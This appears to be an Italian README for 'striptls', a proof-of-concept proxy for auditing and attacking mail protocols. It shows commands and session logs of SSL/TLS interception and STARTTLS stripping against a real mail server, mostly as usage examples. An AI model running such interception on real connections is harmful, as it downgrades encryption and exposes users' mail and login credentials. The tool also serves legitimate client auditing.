striptls - proxy di auditing

implementazione proof-of-concept di attacchi di rimozione STARTTLS

Un'implementazione generica di proxy TCP e strumento di audit per eseguire intercettazioni ssl/tls indipendenti dal protocollo e attacchi di rimozione STARTTLS su SMTP, POP3, IMAP, FTP, NNTP, XMPP, e .

## Installazione (opzionale) da pip #> pip install striptls da sorgente #> setup.py install ## Esempi inbound outbound [inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target] smtp-client striptls remote/target local `smtp-client` -> `localhost:8825` (proxy) -> `mail.gmx.net:25` ### Intercettazione SSL/TLS generica `--generic-ssl-intercept` è un interruttore globale per abilitare il rilevamento della stretta di mano ssl/tls generica e la conversione della sessione. Può essere combinato con qualsiasi mangle/vector. `GENERIC.Intercept` è un'implementazione mangle/vector della funzionalità di rilevamento e conversione della stretta di mano ssl/tls. # python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:465 -x GENERIC.Intercept - INFO - <Proxy 0x1fdcf50 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 465)> ready. - DEBUG - * added vector (port:None , proto: GENERIC): <class __main__.Intercept at 0x0218AAB0> - INFO - <RewriteDispatcher ssl/tls_intercept=False vectors={None: set([<class __main__.Intercept at 0x0218AAB0>])}> - INFO - <Session 0x1ff00b0> client ('127.0.0.1', 8228) has connected - INFO - <Session 0x1ff00b0> connecting to target ('mail.gmx.com', 465) - DEBUG - <RewriteDispatcher - changed mangle: __main__.Intercept new: True> - INFO - ProtocolDetect: SSL/TLS version: TLS_1_0 - INFO - SSL Handshake detected - performing ssl/tls conversion - DEBUG - <Session 0x1ff00b0> [client] <> [ ] SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256) - DEBUG - <Session 0x1ff00b0> [ ] <> [server] SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256) - DEBUG - <Session 0x1ff00b0> [client] <= [server] '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n' - DEBUG - <Session 0x1ff00b0> [client] => [server] 'hi\r\n' - DEBUG - <Session 0x1ff00b0> [client] <= [server] '500 Syntax error, command unrecognized\r\n' # python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:25 -x NONE --generic-ssl-intercept - INFO - <Proxy 0x1efbf70 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 25)> ready. - INFO - <RewriteDispatcher ssl/tls_intercept=True vectors={}> - DEBUG - <ProtocolDetect 0x1f21b70 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port) - INFO - <Session 0x1f10110> client ('127.0.0.1', 8290) has connected - INFO - <Session 0x1f10110> connecting to target ('mail.gmx.com', 25) - DEBUG - <Session 0x1f10110> [client] <= [server] '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n' - DEBUG - <Session 0x1f10110> [client] => [server] 'EHLO openssl.client.net\r\n' - DEBUG - <Session 0x1f10110> [client] <= [server] '250-gmx.com Hello openssl.client.net [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n' - DEBUG - <Session 0x1f10110> [client] => [server] 'STARTTLS\r\n' - DEBUG - <Session 0x1f10110> [client] <= [server] '220 OK\r\n' - INFO - ProtocolDetect: SSL/TLS version: TLS_1_0 - INFO - SSL Handshake detected - performing ssl/tls conversion - DEBUG - <Session 0x1f10110> [client] <> [ ] SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256) - DEBUG - <Session 0x1f10110> [ ] <> [server] SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256) - DEBUG - <Session 0x1f10110> [client] => [server] 'EHLO A\r\n' - DEBUG - <Session 0x1f10110> [client] <= [server] '250-gmx.com Hello A [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250AUTH LOGIN PLAIN\r\n' ### Modalità Audit itera tutti i casi specifici del protocollo su base client e tiene traccia dei client che violano il protocollo starttls.
